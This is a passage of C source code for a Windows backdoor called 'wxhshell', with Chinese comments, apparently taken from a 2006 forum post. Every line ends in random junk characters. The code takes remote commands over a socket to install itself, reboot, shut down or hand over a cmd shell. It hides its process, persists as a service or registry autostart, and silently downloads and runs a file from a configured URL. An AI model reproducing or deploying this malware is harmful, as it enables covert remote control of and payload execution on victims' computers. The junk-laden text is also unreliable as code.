    switch(cmd[0]) { hJo^Wo  
  V"by9p|V`  
  // 帮助 \_Kt6=  
  case '?': { oUvk2]H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zt[4_;2Y  
    break; ,J (5@8(>a  
  } EdAR<VfleA  
  // 安装 >6[ X }  
  case 'i': { g{W6a2  
    if(Install()) 5\w=(c9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a][pTC\rb  
    else b4)*<Zp`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \l]pe|0EW  
    break; $EQT"ZX>%i  
    } ]opW; |{e  
  // 卸载 `$V[;ld(mz  
  case 'r': { C9mzg  
    if(Uninstall()) - Y8ks7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "37@Zt  
    else gR;8ht(pd(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rnj Jg?I=  
    break; /NW>;J}C  
    } ;<kZfx  
  // 显示 wxhshell 所在路径 i.&Kpw9;m  
  case 'p': { c}IX"  
    char svExeFile[MAX_PATH]; 5%QC ][,  
    strcpy(svExeFile,"\n\r"); 5y%un  
      strcat(svExeFile,ExeFile); K_AtU/  
        send(wsh,svExeFile,strlen(svExeFile),0); bB;~,W&E1  
    break; CGd[3}"  
    } #hgmUa  
  // 重启 N)y^</Ya  
  case 'b': { "%oH@ =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y ]~ HAv '  
    if(Boot(REBOOT)) H@%7\g,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !F+|Y"c  
    else { ~aJW"\{  
    closesocket(wsh); C#U< k0R  
    ExitThread(0); ?w]"~   
    } 5)d,G9  
    break; j-lSFTo  
    } I&TTr7  
  // 关机 @<D'-mMt  
  case 'd': {  xFBh?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :DtZ8$I`]C  
    if(Boot(SHUTDOWN)) +cz"`T`X 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qri}=du&F  
    else { BIxV|\k  
    closesocket(wsh); /d0Q>v.g  
    ExitThread(0); @-'/__cgt  
    } ?^%YRB&  
    break; e[x?6He,$  
    } > I$B=  
  // 获取shell {0is wq'J  
  case 's': { DMF?5GX  
    CmdShell(wsh); Sm$p\ORa  
    closesocket(wsh); F(Lb8\to\M  
    ExitThread(0); c3=-Mq9Q  
    break; oM6j>&$b  
  } E]?)FH<oP  
  // 退出 vuYO\u+ud  
  case 'x': { JB&G~7Q85  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B$cOssl  
    CloseIt(wsh); }x*7l`1  
    break; lV P9=  
    } h/,R{A2mO  
  // 离开 T"n{WmVQ  
  case 'q': { ZU=,f'bU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hHcJN  
    closesocket(wsh); hS4.3]ei  
    WSACleanup(); 3^{8_^I  
    exit(1); *i@sUM?K  
    break; /+>)"D6'  
        } \ jE CSV|  
  } 3pB}2]  
  } Ve)ClH/DW  
Yl $X3wi  
  // 提示信息 2b5#PcKa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b3}Q#Y\G  
} UcgG  
  } *RBV'b  
'iJDWxCD  
  return; z<hFK+j,'^  
} _IWxYp  
m# JI!_~!  
// shell模块句柄 ny)]GvxI  
int CmdShell(SOCKET sock) ?]^zD k@~  
{ qP7G[%=v  
STARTUPINFO si; xq2V0Jp1u  
ZeroMemory(&si,sizeof(si)); I"-dTa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mb&lCd ^-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {3LA%xO  
PROCESS_INFORMATION ProcessInfo; TXjloGv^  
char cmdline[]="cmd"; $_sYfU9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KF+mZB  
  return 0; um7o!yg,  
} B@ {&<  
zN%97q_  
// 自身启动模式 /prYSRn8  
int StartFromService(void) #;]2=@  
{ gw^'{b  
typedef struct +TH3&H5I_A  
{ YGp)Oy}:  
  DWORD ExitStatus; PnA?+u2m  
  DWORD PebBaseAddress; -p`L% xj\  
  DWORD AffinityMask; [[WF0q  
  DWORD BasePriority; eCWPhB 6l  
  ULONG UniqueProcessId; /_)l|<k+V  
  ULONG InheritedFromUniqueProcessId; a[sKE?  
}   PROCESS_BASIC_INFORMATION; G(/DtY]  
s5&=Bsv  
PROCNTQSIP NtQueryInformationProcess; 3-C\2  
?'eq",c#4N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RF?DtNuq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e"k/d<  
^2S# Uk  
  HANDLE             hProcess; $'{=R 45Z  
  PROCESS_BASIC_INFORMATION pbi; L%t@,O#,  
A_R!uRD8-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E7nFb:zlV  
  if(NULL == hInst ) return 0; /7/0x ./{  
booRrTS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D."=k{r.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ab.tH$:<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P`(Mk6gE  
\+m$  
  if (!NtQueryInformationProcess) return 0; /Vww?9U;  
X%}nFgqQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <jA105U"m>  
  if(!hProcess) return 0; qf#)lyr<D6  
D-&a n@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TQ ]dW  
I :l01W;  
  CloseHandle(hProcess); #_JYh?  
]Oeh=gq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); skg|>R,kE  
if(hProcess==NULL) return 0; nh.32q]  
ny*i+4Mb  
HMODULE hMod; Vzg=@A#  
char procName[255]; swcd&~9r  
unsigned long cbNeeded; #7G*GbKY  
]a'99^?\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "ju'UOcS/  
`3c CH  
  CloseHandle(hProcess); j;0vAf  
aZS7sV28  
if(strstr(procName,"services")) return 1; // 以服务启动 |nUl\WRd\  
3Q^fVn$tk  
  return 0; // 注册表启动 (s<s@`  
} u]*0;-tz  
i3$$,W!  
// 主模块 Yk!/ow@.  
int StartWxhshell(LPSTR lpCmdLine) ~f\G68c  
{ ^teq[l$;  
  SOCKET wsl; \M<3}t  
BOOL val=TRUE; I:98 $r$  
  int port=0; (V:E2WR  
  struct sockaddr_in door; X{xBYZv4  
)!:sFa 1  
  if(wscfg.ws_autoins) Install(); "R>FqX6FB  
FS6`6M.K  
port=atoi(lpCmdLine); tBbOY}.VD  
"Jq8?FoT  
if(port<=0) port=wscfg.ws_port; FzQTDu9  
tJViA`@x  
  WSADATA data; dP?Ge}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @gC=$A#  
dO> VwP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V" \0Y0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nAIo{ F  
  door.sin_family = AF_INET; d\{>TdyF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U1_@F$mq<  
  door.sin_port = htons(port); {9Y+.46S  
&Mq~T_S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^hNgm.I  
closesocket(wsl); 2WX7nK;I  
return 1; `*", <  
} m7a#qs; ,  
(wDm*bZ*  
  if(listen(wsl,2) == INVALID_SOCKET) { x3jb%`o#!  
closesocket(wsl); dI&!e#Y  
return 1; 4#x5MM  
} +/,icA}PI  
  Wxhshell(wsl); Y}#h5\  
  WSACleanup(); \%PaceH  
) [0T16  
return 0; Bj k]ZU0T  
(?_S6H E  
} ]f+ csB  
Ee4&g<X.  
// 以NT服务方式启动 JJ;[,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~P~  
{ 0/S_e)U  
DWORD   status = 0; hxCvk/7sT  
  DWORD   specificError = 0xfffffff; dJT]/g  
JkW9D)6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GKN%Tv:D_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PV|uPuz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G}&Sle]  
  serviceStatus.dwWin32ExitCode     = 0;  r.4LU  
  serviceStatus.dwServiceSpecificExitCode = 0; nX$XL=6mJ&  
  serviceStatus.dwCheckPoint       = 0; !9Aaj<yxm  
  serviceStatus.dwWaitHint       = 0; $<:E'^SAS  
Cvn#=6V3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R|wGU)KEc'  
  if (hServiceStatusHandle==0) return; | WvUq  
%Gt .m  
status = GetLastError(); 035rPT7-2-  
  if (status!=NO_ERROR) V<Z[ nq  
{  -_`>j~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L!=QR8?@E  
    serviceStatus.dwCheckPoint       = 0; >JiltF7H0  
    serviceStatus.dwWaitHint       = 0; ],P;WPU  
    serviceStatus.dwWin32ExitCode     = status; rETRTp0HT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^tXJj:wtS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y@\V +  
    return; lo[.&GD  
  } &^W|iXi#  
)B[0JrcE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ANgw"&&>(  
  serviceStatus.dwCheckPoint       = 0; ;3' .C~   
  serviceStatus.dwWaitHint       = 0; ~8lwe*lNV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {GC?SaK  
} uDEvzk42  
=jN *P?  
// 处理NT服务事件,比如:启动、停止 'Fmvu   
VOID WINAPI NTServiceHandler(DWORD fdwControl) LqA@&H  
{ \EVBwE,  
switch(fdwControl) j$+nKc$  
{ 7}X[ 4("bB  
case SERVICE_CONTROL_STOP: ^k]XEW{PG  
  serviceStatus.dwWin32ExitCode = 0; o LvZ   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3`k;a1Z#O'  
  serviceStatus.dwCheckPoint   = 0; ';<0/U  
  serviceStatus.dwWaitHint     = 0; ONe# rKJ_  
  { ,lyb!k8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ['T:ea6B  
  } 78/Zk}I]  
  return; -]QD|w3dp  
case SERVICE_CONTROL_PAUSE: 1;{Rhu7* k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >(;{C<6|^  
  break; zzyHoZJP  
case SERVICE_CONTROL_CONTINUE: QDu2?EYZq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Y'HaneoM  
  break; nVi[  
case SERVICE_CONTROL_INTERROGATE: #W|'1 OX4  
  break; )'~6HO8Z  
}; cZ|\.0-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t]YC"%[S  
} v&=gF/$  
e:5bzk!~  
// 标准应用程序主函数 ~x|F)~:0=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lR(+tj)9uO  
{ @w?P7P<O`  
sIxTG y.  
// 获取操作系统版本 PBp^|t]E>  
OsIsNt=GetOsVer(); }&[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^3UGV*Ypk  
HbxL:~:}J  
  // 从命令行安装 6E^.7%3  
  if(strpbrk(lpCmdLine,"iI")) Install(); MerFZd 1  
oIduxbAp  
  // 下载执行文件 !s&NT @ S  
if(wscfg.ws_downexe) { o:_Xv.HRZo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  m5r7  
  WinExec(wscfg.ws_filenam,SW_HIDE); /%;mqrdk  
} BYMi6wts  
kYjGj,m"  
if(!OsIsNt) { LL3#5AA"k|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;oc&Hb  
HideProc(); J{k79v  
StartWxhshell(lpCmdLine); 5Er2}KZJv,  
} 6 BCf:mqP  
else RH&~+5  
  if(StartFromService()) iLkZ"X.'|1  
  // 以服务方式启动 * /:x sI  
  StartServiceCtrlDispatcher(DispatchTable); .n~M(59  
else k@z,Iq8  
  // 普通方式启动 L2[f]J%  
  StartWxhshell(lpCmdLine); D?NbW @]  
lx[oaCr  
return 0; 3U7 *>H  
}
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只看该作者 1 发表于: 2006-10-10
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